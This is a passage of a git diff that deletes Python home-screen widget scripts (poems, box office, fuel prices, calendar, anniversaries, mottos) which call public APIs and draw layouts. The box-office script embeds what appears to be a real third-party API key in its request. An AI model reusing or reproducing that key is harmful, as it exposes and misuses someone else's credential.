timeout=10) - - if response.status == 200: - raw_data = response.read() - data = ujson.loads(raw_data) - content = data['content'] - origin = data['origin'] - author = data['author'] - category = data['category'] - return content, f"「{origin}」{author}", category - except Exception as e: - print(f"获取诗词失败: {e}") - - return None, None, None - -quote, author, category = get_quote() - -# 配色方案 -bg = ("#F8FAFC", "#0F172A") -card_bg = ("#F1F5F9", "#1E293B") -primary = ("#0F172A", "#F8FAFC") -secondary = ("#475569", "#94A3B8") -weak = ("#94A3B8", "#64748B") -accent = ("#8B5CF6", "#A78BFA") - -w = Widget(background=bg, padding=14) - -if family == SMALL: - with w.vstack(spacing=0, align="center"): - w.spacer() - w.icon("pencil.and.outline", size=20, color=accent) - w.spacer(6) - w.text(quote if quote else "加载中...", size=15, weight="medium", color=primary, - max_lines=3, align="center") - w.spacer(4) - w.text(author if author else "", size=11, color=secondary, align="center") - w.spacer() - -elif family == MEDIUM: - with w.vstack(spacing=0): - w.spacer() - with w.hstack(spacing=0): - with w.vstack(spacing=0, align="center"): - w.spacer() - w.icon("pencil.and.outline", size=28, color=accent) - w.spacer(6) - w.text("古诗词", size=11, color=weak) - w.spacer() - w.spacer(12) - with w.vstack(spacing=4, align="leading"): - w.spacer() - w.text(quote if quote else "网络不可用", size=16, weight="medium", color=primary, - max_lines=3) - w.text(author if author else "", size=12, color=secondary) - w.spacer() - w.spacer(8) - w.text(category if category else "", size=11, color=weak, align="trailing") - w.spacer() - -else: - with w.vstack(spacing=0): - w.spacer() - with w.hstack(spacing=8): - w.icon("pencil.and.outline", size=22, color=accent) - w.text("每日诗词", size=18, weight="semibold", - color=("#334155", "#E2E8F0")) - w.spacer() - w.text(datetime.datetime.now().strftime("%Y/%m/%d"), size=13, color=weak) - w.spacer(16) - - with w.card(background=card_bg, corner_radius=12, padding=16, spacing=0): - w.text(quote if quote else "无法获取诗词,请检查网络连接", size=20, weight="medium", color=primary, - max_lines=4) - w.spacer(10) - w.text(author if author else "", size=14, color=secondary) - - w.spacer() - - with w.hstack(spacing=0): - w.icon("leaf.fill", size=12, color="#10B981") - w.spacer(6) - w.text(category if category else "诗意的栖居", size=12, color=weak) - w.spacer() - - w.spacer() - -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mn9r95l0.py b/script_library/scripts/widgets/script_mn9r95l0.py deleted file mode 100644 index 76157c5..0000000 --- a/script_library/scripts/widgets/script_mn9r95l0.py +++ /dev/null @@ -1,87 +0,0 @@ -from widget import Widget, family, SMALL, MEDIUM, LARGE -import requests - -def safe_text(val, default=""): - return val if val and val.strip() else default - -try: - headers = {"Content-Type": "application/x-www-form-urlencoded;charset:utf-8"} - resp = requests.post( - "https://api.taolale.com/api/hot_rankings/get", - data={"key": "DoG1KYTwfGhcTACTpgAk4eFiDf"}, - headers=headers, - timeout=10 - ) - data = resp.json() - movies = data.get("data", [])[:5] if data.get("code") == 200 else [] -except: - movies = [] - -bg = ("#F8FAFC", "#0F172A") -title_color = ("#0F172A", "#F8FAFC") -subtitle_color = ("#647B94", "#94A3B8") -accent = "#EF4444" - -w = Widget(background=bg, padding=14) - -if family == SMALL: - top = movies[0] if movies else None - with w.vstack(spacing=0, align="leading"): - w.spacer(24) - if top: - w.icon("film.fill", size=18, color=accent) - w.spacer(8) - w.text(top["title"], size=17, weight="bold", color=title_color, max_lines=1) - w.spacer(6) - w.text(top["sumBoxDesc"], size=24, weight="bold", design="rounded", color=title_color) - release_info = safe_text(top.get("releaseInfo")) - if release_info: - w.spacer(6) - w.text(release_info, size=12, color=subtitle_color) - else: - w.text("暂无数据", size=16, color=subtitle_color) - w.spacer() - -elif family == MEDIUM: - with w.hstack(spacing=0): - w.icon("film.fill", size=15, color=accent) - w.spacer(6) - w.text("实时票房前三", size=14, weight="semibold", color=title_color) - w.spacer() - #w.text(f"共{len(movies)}部", size=12, color=subtitle_color) - w.spacer() - for movie in movies[:3]: - rank = movie["index"] - rc = "#F59E0B" if rank == 1 else "#94A3B8" if rank == 2 else "#CD7F32" - with w.hstack(spacing=0, align="center"): - w.text(f"#{rank}", size=13, weight="bold", color=rc) - w.spacer(6) - w.text(movie["title"], size=13, weight="medium", color=title_color) - w.spacer() - w.text(movie["sumBoxDesc"], size=13, weight="bold", design="rounded", color=title_color) - w.spacer(4) - w.spacer() - -else: - with w.hstack(spacing=0): - w.icon("film.fill", size=17, color=accent) - w.spacer(8) - w.text("实时票房榜", size=17, weight="bold", color=title_color) - w.spacer() - w.text(f"共{len(movies)}部", size=13, color=subtitle_color) - w.spacer(12) - for movie in movies: - rank = movie["index"] - rc = "#F59E0B" if rank == 1 else "#94A3B8" if rank == 2 else "#CD7F32" - release_info = safe_text(movie.get("releaseInfo")) - with w.hstack(spacing=0, align="center"): - w.text(f"#{rank}", size=15, weight="bold", color=rc) - w.spacer(8) - w.text(movie["title"], size=15, weight="semibold", color=title_color) - if release_info: - w.text(f" · {release_info}", size=12, color=subtitle_color) - w.spacer() - w.text(movie["sumBoxDesc"], size=16, weight="bold", design="rounded", color=title_color) - w.spacer(6) - -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mna05y9m.py b/script_library/scripts/widgets/script_mna05y9m.py deleted file mode 100644 index 1136769..0000000 --- a/script_library/scripts/widgets/script_mna05y9m.py +++ /dev/null @@ -1,312 +0,0 @@ -# 92-95每日油价桌面小组件 -# 数据来源:20121212.cn 油价接口 -# 城市可自定义设置 -# 注意:每次刷新都会从网络获取最新数据,无缓存 - -from widget import Widget, family, SMALL, MEDIUM, LARGE -import datetime -import json - -# ═══════════════════════════════════════════════════════════ -# 配置区 - 设置你所在的城市 -# 支持城市:北京、上海、广州、深圳、杭州、南京、武汉、成都、重庆、西安、天津 等 -# ═══════════════════════════════════════════════════════════ -CITY_NAME = "北京" # ← 在这里修改城市名称 - -# ═══════════════════════════════════════════════════════════ -# 油价API接口 -# ═══════════════════════════════════════════════════════════ -OIL_PRICE_API = "https://20121212.cn/ci/index.php/iol/like/" - - -def get_oil_price_from_api(city_name): - """ - 从油价API获取数据 - 接口:https://20121212.cn/ci/index.php/iol/like/{城市名} - """ - try: - import requests - except ImportError: - return None - - url = f"{OIL_PRICE_API}{city_name}" - - try: - resp = requests.get(url, timeout=10) - text = resp.text - resp.close() - - # 解析JSON数据 - data = json.loads(text) - - # 检查是否成功返回数据 - if isinstance(data, list) and len(data) > 0: - item = data[0] - - return { - "price92": float(item.get("iol92", 0)), - "price95": float(item.get("iol95", 0)), - "price98": float(item.get("iol98", 0)), - "price89": float(item.get("iol89", 0)), - "price0": float(item.get("iol0", 0)), - "price10": float(item.get("iol10", 0)), - "price20": float(item.get("iol20", 0)), - "price35": float(item.get("iol35", 0)), - "ton92": item.get("ton92", ""), - "ton95": item.get("ton95", ""), - "ton98": item.get("ton98", ""), - "update": item.get("date", ""), - "city_raw": item.get("city", ""), - } - except Exception as e: - print(f"API请求失败: {e}") - - return None - - -def get_oil_price(city_name=None): - """ - 获取油价数据(直接请求API,不使用缓存) - """ - # 使用配置的城市名 - if not city_name: - city_name = CITY_NAME - - # 直接从API获取 - api_data = get_oil_price_from_api(city_name) - if api_data: - return api_data, city_name, True - - # API不可用,返回失败状态 - return None, city_name, False - - -# ═══════════════════════════════════════════════════════════ -# 主程序 - 小组件渲染 -# ═══════════════════════════════════════════════════════════ - -# 获取油价数据 -oil_data, current_city, data_ok = get_oil_price() -now = datetime.datetime.now() - -# 配色方案 - 暖白主题 -BG_COLOR = ("#FFFBEB", "#1C1917") -CARD_BG = ("#FEF3C7", "#292524") -TITLE_COLOR = ("#78350F", "#FDE68A") -TEXT_COLOR = ("#92400E", "#D6D3D1") -SUB_COLOR = ("#B45309", "#78716C") -ACCENT_COLOR = ("#EA580C", "#FB923C") -ERROR_COLOR = ("#DC2626", "#F87171") - -# 创建小组件 -w = Widget(background=BG_COLOR, padding=14) - -if family == SMALL: - # ═══ SMALL (127×127pt) ═══ - # 极简设计:单行展示核心油价,居中显示 - with w.vstack(spacing=0, align="center"): - w.spacer() # 顶部弹性 - - # 图标 + 标题 - w.icon("fuelpump.fill", size=16, color=ACCENT_COLOR) - w.spacer(4) - w.text("油价", size=11, weight="medium", color=SUB_COLOR) - - w.spacer(6) - - # 核心数据 - if data_ok and oil_data: - price92 = oil_data.get("price92", 0) - with w.hstack(spacing=8): - w.text("92#", size=12, weight="semibold", color=TEXT_COLOR) - w.text(f"¥{price92:.2f}", size=20, weight="bold", - design="rounded", color=TITLE_COLOR) - else: - w.text("N/A", size=20, weight="bold", - design="rounded", color=ERROR_COLOR) - - w.spacer(4) - - # 副标题 - if data_ok: - w.text(current_city, size=10, color=SUB_COLOR) - else: - w.text("网络异常", size=10, color=ERROR_COLOR) - - w.spacer() # 底部弹性 - -elif family == MEDIUM: - # ═══ MEDIUM (301×127pt) ═══ - # 整体居中:标题行居中 + 卡片组居中 - with w.vstack(spacing=0, align="center"): - w.spacer() # 顶部弹性 - - # 顶部标题行 - 居中 - with w.hstack(spacing=6, align="center"): - w.icon("fuelpump.fill", size=14, color=ACCENT_COLOR) - w.text(f"{current_city}今日油价", size=14, weight="semibold", - color=TITLE_COLOR) - w.spacer() - if data_ok and oil_data and oil_data.get("update"): - update_date = oil_data.get("update", "") - try: - date_str = datetime.datetime.strptime(update_date[:10], "%Y-%m-%d").strftime("%m-%d") - except: - date_str = update_date[:10] - w.text(date_str, size=11, color=SUB_COLOR) - else: - w.text("加载中", size=11, color=ERROR_COLOR) - - w.spacer() # 弹性撑开 - - # 主数据区 - 三列卡片居中 - if data_ok and oil_data: - price92 = oil_data.get("price92", 0) - price95 = oil_data.get("price95", 0) - price98 = oil_data.get("price98", 0) - - with w.hstack(spacing=6, align="center"): - # 左侧 92号 - with w.card(background=CARD_BG, corner_radius=10, - padding=10, spacing=0): - with w.vstack(spacing=2, align="center"): - w.text("92#", size=11, weight="semibold", color=SUB_COLOR) - w.text(f"¥{price92:.2f}", size=20, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=9, color=SUB_COLOR) - - # 中间 95号 - with w.card(background=CARD_BG, corner_radius=10, - padding=10, spacing=0): - with w.vstack(spacing=2, align="center"): - w.text("95#", size=11, weight="semibold", color=SUB_COLOR) - w.text(f"¥{price95:.2f}", size=20, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=9, color=SUB_COLOR) - - # 右侧 98号 - with w.card(background=CARD_BG, corner_radius=10, - padding=10, spacing=0): - with w.vstack(spacing=2, align="center"): - w.text("98#", size=11, weight="semibold", color=SUB_COLOR) - w.text(f"¥{price98:.2f}", size=20, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=9, color=SUB_COLOR) - else: - # 网络异常时显示错误提示 - with w.card(background=CARD_BG, corner_radius=10, - padding=16, spacing=0): - with w.vstack(spacing=4, align="center"): - w.icon("wifi.slash", size=24, color=ERROR_COLOR) - w.text("无法获取油价数据", size=13, weight="medium", - color=TEXT_COLOR) - w.text("请检查网络连接", size=11, color=SUB_COLOR) - - w.spacer() # 底部弹性 - -else: - # ═══ LARGE (301×317pt) ═══ - # 完整展示:头部+价格卡片+底部提示,全部居中 - with w.vstack(spacing=0, align="center"): - w.spacer() # 顶部弹性 - - # 头部标题区 - 居中 - with w.hstack(spacing=6, align="center"): - w.icon("fuelpump.fill", size=18, color=ACCENT_COLOR) - w.text(f"{current_city}今日油价", size=18, weight="semibold", - color=TITLE_COLOR) - w.spacer() - if data_ok and oil_data and oil_data.get("update"): - update_date = oil_data.get("update", "") - try: - date_str = datetime.datetime.strptime(update_date[:10], "%Y-%m-%d").strftime("%m月%d日") - except: - date_str = update_date[:10] - w.text(date_str, size=12, color=SUB_COLOR) - else: - w.text("加载中", size=12, color=ERROR_COLOR) - - w.spacer(12) - - if data_ok and oil_data: - price92 = oil_data.get("price92", 0) - price95 = oil_data.get("price95", 0) - price98 = oil_data.get("price98", 0) - price0 = oil_data.get("price0", 0) - update_date = oil_data.get("update", "") - - # 价格卡片区 - 2x2布局,全部居中 - with w.hstack(spacing=8, align="center"): - # 92号卡片 - with w.card(background=CARD_BG, corner_radius=12, padding=12): - with w.vstack(spacing=2, align="center"): - w.text("92# 汽油", size=12, weight="medium", color=SUB_COLOR) - w.text(f"¥{price92:.2f}", size=26, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=10, color=SUB_COLOR) - - # 95号卡片 - with w.card(background=CARD_BG, corner_radius=12, padding=12): - with w.vstack(spacing=2, align="center"): - w.text("95# 汽油", size=12, weight="medium", color=SUB_COLOR) - w.text(f"¥{price95:.2f}", size=26, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=10, color=SUB_COLOR) - - w.spacer(8) - - with w.hstack(spacing=8, align="center"): - # 98号卡片 - with w.card(background=CARD_BG, corner_radius=12, padding=12): - with w.vstack(spacing=2, align="center"): - w.text("98# 汽油", size=12, weight="medium", color=SUB_COLOR) - w.text(f"¥{price98:.2f}", size=26, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=10, color=SUB_COLOR) - - # 0号柴油卡片 - with w.card(background=CARD_BG, corner_radius=12, padding=12): - with w.vstack(spacing=2, align="center"): - w.text("0# 柴油", size=12, weight="medium", color=SUB_COLOR) - w.text(f"¥{price0:.2f}", size=26, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=10, color=SUB_COLOR) - - w.spacer() # 弹性撑开 - - # 底部提示区 - 居中 - with w.card(background=CARD_BG, corner_radius=10, padding=10): - with w.hstack(spacing=8, align="center"): - w.icon("info.circle.fill", size=14, color=ACCENT_COLOR) - with w.vstack(spacing=1): - w.text("数据来源:油价查询接口", size=10, color=SUB_COLOR) - if update_date: - w.text(f"更新时间 {update_date},实际价格以加油站为准", - size=10, color=SUB_COLOR) - else: - w.text("实际价格以加油站为准", - size=10, color=SUB_COLOR) - else: - # 网络异常时显示错误提示 - with w.card(background=CARD_BG, corner_radius=12, padding=20): - with w.vstack(spacing=8, align="center"): - w.icon("wifi.slash", size=36, color=ERROR_COLOR) - w.text("无法获取油价数据", size=16, weight="semibold", - color=TEXT_COLOR) - w.text("请检查网络连接后刷新", size=12, color=SUB_COLOR) - - w.spacer() - - # 底部提示区 - with w.card(background=CARD_BG, corner_radius=10, padding=10): - with w.hstack(spacing=8, align="center"): - w.icon("exclamationmark.triangle.fill", size=14, color=ERROR_COLOR) - with w.vstack(spacing=1): - w.text("提示", size=10, weight="medium", color=TEXT_COLOR) - w.text("确保网络连接正常,小组件将在下次刷新时重试", - size=10, color=SUB_COLOR) - - w.spacer() # 底部弹性 - -# 渲染小组件 -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mnbrzcaq.py b/script_library/scripts/widgets/script_mnbrzcaq.py deleted file mode 100644 index 39d87fe..0000000 --- a/script_library/scripts/widgets/script_mnbrzcaq.py +++ /dev/null @@ -1,130 +0,0 @@ -import widget -import datetime -import calendar -import requests -import random - -BG_COLOR = "#FFFFFF" -MAIN_TEXT_COLOR = "#1C1C1E" -SECONDARY_TEXT_COLOR = "#8E8E93" -ACCENT_COLOR = "#007AFF" -FESTIVAL_COLOR = "#34C759" -TODAY_COLOR = "#FF3B30" -DATE_TEXT_COLOR = "#3A3A3C" -QUOTE_MAX_LENGTH = 20 -REQUEST_TIMEOUT = 1.5 -SHOW_DATE_COUNT = 5 - -def get_festivals(month, day): - festival_dict = { - 1: {1: "元旦节"}, 2: {14: "情人节"}, 3: {8: "妇女节", 12: "植树节", 21: "世界森林日"}, - 4: {4: "清明节"}, 5: {1: "劳动节", 4: "青年节"}, 6: {1: "儿童节", 14: "端午节"}, - 7: {1: "建党节"}, 8: {1: "建军节"}, 9: {10: "教师节", 17: "中秋节"}, - 10: {1: "国庆节", 7: "重阳节"}, 12: {25: "圣诞节"} - } - month_fest = festival_dict.get(month, {}) - today_text = month_fest.get(day, "宜: 保持热爱") - month_all = "·".join(list(month_fest.values())[:2]) if month_fest else "岁华寻常" - return today_text, month_all - -def get_hitokoto(): - default_quotes = [ - "代码敲累了,记得喝杯水...", "生活明朗,万物可爱。", "凡是过往,皆为序章。", - "平安喜乐,得偿所愿。", "保持热爱,奔赴山海。", "慢慢来,谁还没有一个努力的过程。", - "心有山海,静而无边。", "人间值得,未来可期。" - ] - try: - headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)"} - r = requests.get("https://v1.hitokoto.cn/?c=i", headers=headers, timeout=REQUEST_TIMEOUT).json() - return r.get("hitokoto", random.choice(default_quotes)) - except: - return random.choice(default_quotes) - -def build(): - w = widget.Widget(widget.LARGE) - w._background = BG_COLOR - w._color = MAIN_TEXT_COLOR - - now = datetime.datetime.now() - y, m, d = now.year, now.month, now.day - today_fest, month_all = get_festivals(m, d) - total_days = 366 if calendar.isleap(y) else 365 - year_progress = now.timetuple().tm_yday / total_days - today_week_idx = now.weekday() - week_list = ["一", "二", "三", "四", "五", "六", "日"] - - date_list = [now + datetime.timedelta(days=i) for i in range(SHOW_DATE_COUNT)] - date_rows = [date_list[i:i+5] for i in range(0, len(date_list), 5)] - - pre_week = " ".join(week_list[:today_week_idx]) + (" " if today_week_idx > 0 else "") - today_week = week_list[today_week_idx] - suf_week = (" " if today_week_idx < 6 else "") + " ".join(week_list[today_week_idx+1:]) - - with w.vstack(spacing=12): - with w.hstack(): - w.icon("calendar.badge.clock", size=24, color=ACCENT_COLOR) - w.text(f" {y} 年 {m} 月", size=24, weight="heavy") - w.spacer() - - w.spacer() - - with w.hstack(): - with w.vstack(spacing=6): - w.text(str(d), size=90, weight="heavy") - w.text(f"{now.strftime('%B').upper()} ◈ {today_fest}", size=13, color=FESTIVAL_COLOR, weight="bold") - w.text(f"本月: {month_all}", size=11, color=SECONDARY_TEXT_COLOR) - - w.spacer() - - with w.vstack(spacing=10): - with w.hstack(): - if pre_week.strip(): - w.text(pre_week, size=12, color=SECONDARY_TEXT_COLOR, weight="bold") - w.text(today_week, size=12, color=TODAY_COLOR, weight="bold") - if suf_week.strip(): - w.text(suf_week, size=12, color=SECONDARY_TEXT_COLOR, weight="bold") - - for row in date_rows: - row_days = [date.day for date in row] - has_today = d in row_days - - if not has_today: - row_str = "" - for day_num in row_days: - row_str += f" {day_num:02d} " - w.text(row_str, size=17, color=DATE_TEXT_COLOR, weight="bold") - - else: - with w.hstack(spacing=0): - for date in row: - day_num = date.day - if day_num == d: - w.text(f" {day_num:02d} ", size=13, color=TODAY_COLOR, weight="heavy") - else: - w.text(f" {day_num:02d} ", size=13, color=DATE_TEXT_COLOR, weight="bold") - - w.spacer() - w.divider() - - with w.hstack(): - try: - w.progress(year_progress)._set_color(ACCENT_COLOR) - except: - pass - w.text(f" {int(year_progress*100)}%", size=13, color=SECONDARY_TEXT_COLOR, weight="bold") - - with w.hstack(): - w.icon("quote.bubble.fill", size=14, color=ACCENT_COLOR) - quote = get_hitokoto() - if len(quote) > QUOTE_MAX_LENGTH: - short_quote = quote[:QUOTE_MAX_LENGTH].rsplit(",", 1)[0].rsplit("。", 1)[0] - w.text(f" {short_quote}...", size=12, color=SECONDARY_TEXT_COLOR) - else: - w.text(f" {quote}", size=12, color=SECONDARY_TEXT_COLOR) - w.spacer() - - w.render() - widget.show(w) - -if __name__ == "__main__": - build() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mnfx90ey.py b/script_library/scripts/widgets/script_mnfx90ey.py deleted file mode 100644 index 2926bf5..0000000 --- a/script_library/scripts/widgets/script_mnfx90ey.py +++ /dev/null @@ -1,189 +0,0 @@ -from widget import Widget, family, MEDIUM -from datetime import datetime, date - - -BACKGROUND_COLOR = ("#F8F9FA", "#1C1C1E") -TITLE_COLOR = ("#2C3E50", "#FFFFFF") -DIVIDER_COLOR = ("#DEE2E6", "#3A3A3C") -NAME_COLOR = ("#212529", "#FFFFFF") -FUTURE_COLOR = ("#2ECC71", "#6EE7B7") -TODAY_COLOR = ("#F1C40F", "#FFD966") -PAST_COLOR = ("#E74C3C", "#FF6B6B") -AGE_COLOR = ("#E67E22", "#F39C12") - -ICON_COLORS = { - "birthday.cake.fill": ("#FF6B6B", "#FF9F4A"), - "person.fill": ("#4A90E2", "#6AB0FF"), - "heart.fill": ("#E8436E", "#FF6B8B"), - "graduationcap.fill": ("#9B6DFF", "#B78CFF"), - "star.fill": ("#FFC107", "#FFD966"), - "gift.fill": ("#38B2AC", "#6EE7B7"), - "default": ("#8E8E93", "#AEAEB2") -} - -# 纪念日列表(直接在下面修改) -# 每个条目包含:name(名称), date(YYYY-MM-DD), icon(SF Symbol), type(类型) -# 类型说明: -# - "yearly" : 每年重复(如生日、纪念日) -# - "age" : 累计天数(如“来到这个世界”) -# - "once" : 一次性固定日期(如某个活动截止日) -ANNIVERSARIES = [ - { - "name": "生日", - "date": "2000-01-01", - "icon": "birthday.cake.fill", - "type": "yearly" - }, - { - "name": "来到这个世界", - "date": "2000-01-01", - "icon": "person.fill", - "type": "age" - }, - { - "name": "恋爱纪念日", - "date": "2022-05-20", - "icon": "heart.fill", - "type": "yearly" - }, - { - "name": "毕业日", - "date": "2024-07-01", - "icon": "graduationcap.fill", - "type": "yearly" - } -] - -ICON_SIZE = 20 -TITLE_FONT_SIZE = 16 -NAME_FONT_SIZE = 14 -DAYS_FONT_SIZE = 12 -SPACING = 10 -PADDING = 12 - - -def days_since_birth(birth_date): - today = datetime.now().date() - try: - birth = datetime.strptime(birth_date, "%Y-%m-%d").date() - except: - return None - return (today - birth).days - -def get_next_yearly(month, day): - today = datetime.now().date() - try: - target_this_year = date(today.year, month, day) - except ValueError: - return None - if target_this_year >= today: - return target_this_year - else: - try: - return date(today.year + 1, month, day) - except ValueError: - return None - -def days_diff(item): - if item['type'] == 'age': - days = days_since_birth(item['date']) - if days is None: - return None, None - return days, f" {days} 天" - elif item['type'] == 'yearly': - try: - parts = item['date'].split('-') - if len(parts) != 3: - return None, None - month, day = int(parts[1]), int(parts[2]) - next_date = get_next_yearly(month, day) - if next_date is None: - return None, None - delta = (next_date - datetime.now().date()).days - if delta == 0: - text = "就是今天!" - elif delta > 0: - text = f"还有{delta} 天" - else: - text = f"已过 {-delta} 天" - return delta, text - except: - return None, None - else: - try: - target = datetime.strptime(item['date'], "%Y-%m-%d").date() - delta = (target - datetime.now().date()).days - if delta == 0: - text = "就是今天!" - elif delta > 0: - text = f"还有 {delta} 天" - else: - text = f"已过 {-delta} 天" - return delta, text - except: - return None, None - -def get_icon_color(icon_name): - return ICON_COLORS.get(icon_name, ICON_COLORS["default"]) - -def get_status_color(delta, item_type): - if item_type == 'age': - return AGE_COLOR - if delta == 0: - return TODAY_COLOR - elif delta > 0: - return FUTURE_COLOR - else: - return PAST_COLOR - -def render_widget(): - items = [] - for a in ANNIVERSARIES: - delta, text = days_diff(a) - if delta is not None: - items.append({ - 'name': a['name'], - 'delta': delta, - 'text': text, - 'icon': a.get('icon', 'calendar'), - 'type': a['type'] - }) - - items.sort(key=lambda x: (x['type'] == 'age', abs(x['delta']))) - display_items = items[:4] - - w = Widget(background=BACKGROUND_COLOR) - - with w.vstack(spacing=8, padding=PADDING): - with w.hstack(spacing=4): - w.icon("calendar", size=ICON_SIZE-2, color=TITLE_COLOR, weight="medium") - w.text("纪念日", size=TITLE_FONT_SIZE, weight="semibold", color=TITLE_COLOR) - - w.divider(color=DIVIDER_COLOR) - - if not display_items: - with w.hstack(): - w.icon("info.circle", size=ICON_SIZE-2, color=("#6C757D", "#8E8E93")) - w.text("暂无纪念日,请在脚本中添加", size=12, color=("#6C757D", "#8E8E93"), align="center") - else: - for item in display_items: - with w.hstack(spacing=SPACING, align="center"): - icon_light, icon_dark = get_icon_color(item['icon']) - icon_color = (icon_light, icon_dark) - w.icon(item['icon'], size=ICON_SIZE, color=icon_color, weight="regular") - - w.text(item['name'], size=NAME_FONT_SIZE, weight="medium", color=NAME_COLOR, max_lines=1) - - w.spacer() - - status_color = get_status_color(item['delta'], item['type']) - w.text(item['text'], size=DAYS_FONT_SIZE, color=status_color, weight="medium", max_lines=1) - - w.render(url="pythonide://") - -if __name__ == '__main__': - try: - family - except NameError: - family = MEDIUM - render_widget() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mnj1lj72.py b/script_library/scripts/widgets/script_mnj1lj72.py deleted file mode 100644 index f3bdfda..0000000 --- a/script_library/scripts/widgets/script_mnj1lj72.py +++ /dev/null @@ -1,93 +0,0 @@ - -# 2026-4-3 Silence - -import requests -from widget import Widget, family, MEDIUM - -BLACKLIST = ["死", "杀", "恨", "怨", "哭", "泪", "痛", "苦", "穷", - "失败", "绝望", "黑暗", "孤独", "放弃", "离开", "背叛", - "悲伤", "痛苦", "哭泣", "受伤", "残忍", "抑郁", "焦虑", "堕落"] - -def is_good(text): - for w in BLACKLIST: - if w in text: - return False - return True - -def get_motto(): - categories = ['d', 'i', 'k'] - for _ in range(8): - try: - import random - cat = random.choice(categories) - url = f"https://v1.hitokoto.cn/?c={cat}" - resp = requests.get(url, timeout=5) - if resp.status_code == 200: - data = resp.json() - text = data.get('hitokoto', '') - if not text or len(text) < 8 or len(text) > 24: - continue - if not is_good(text): - continue - from_who = data.get('from_who', '') - from_where = data.get('from', '') - if from_who and from_where: - if from_who in from_where or from_where in from_who: - author = from_who if from_who else from_where - else: - author = f"{from_who} · {from_where}" - elif from_who: - author = from_who - elif from_where: - author = from_where - else: - author = "" - return text, author - except: - pass - return "每天进步一点点,坚持带来大改变。", "佚名" - -def render_widget(): - quote, author = get_motto() - if len(quote) > 22: - quote = quote[:20] + "…" - - bg_color = ("#FEFCE8", "#1E1A2F") - w = Widget(background=bg_color, padding=16) - - with w.vstack(spacing=10): - with w.hstack(): - w.icon("heart.text.square.fill", size=18, color="#E63946") - w.text("每日名言", size=14, weight="semibold", color=("#1E293B", "#E2E8F0")) - w.spacer() - w.icon("leaf.fill", size=12, color="#A3E635") - - w.divider(color=("#E2E8F0", "#334155")) - - with w.hstack(): - w.icon("quote.opening", size=14, color=("#94A3B8", "#64748B")) - w.spacer(4) - w.spacer(4) - - w.text(f"「{quote}」", size=15, weight="medium", - color=("#0F172A", "#F1F5F9"), align="left", max_lines=3) - - w.spacer(4) - - if author: - w.text(f"—— {author}", size=11, color=("#64748B", "#94A3B8"), - align="right", max_lines=1) - else: - w.text(" 给今天一点力量 ", size=10, color=("#94A3B8", "#6B7280"), align="center") - - w.render() - -if family == MEDIUM: - render_widget() -else: - w = Widget(background=("#FFFFFF", "#0B0F1A"), padding=16) - with w.vstack(align="center", spacing=8): - w.icon("heart.text.square", size=30, color="#E63946") - w.text("请使用中尺寸小组件", size=14, weight="semibold", - color=("#111", "#EEE"), align="center") - w.render() \ No newline at end of file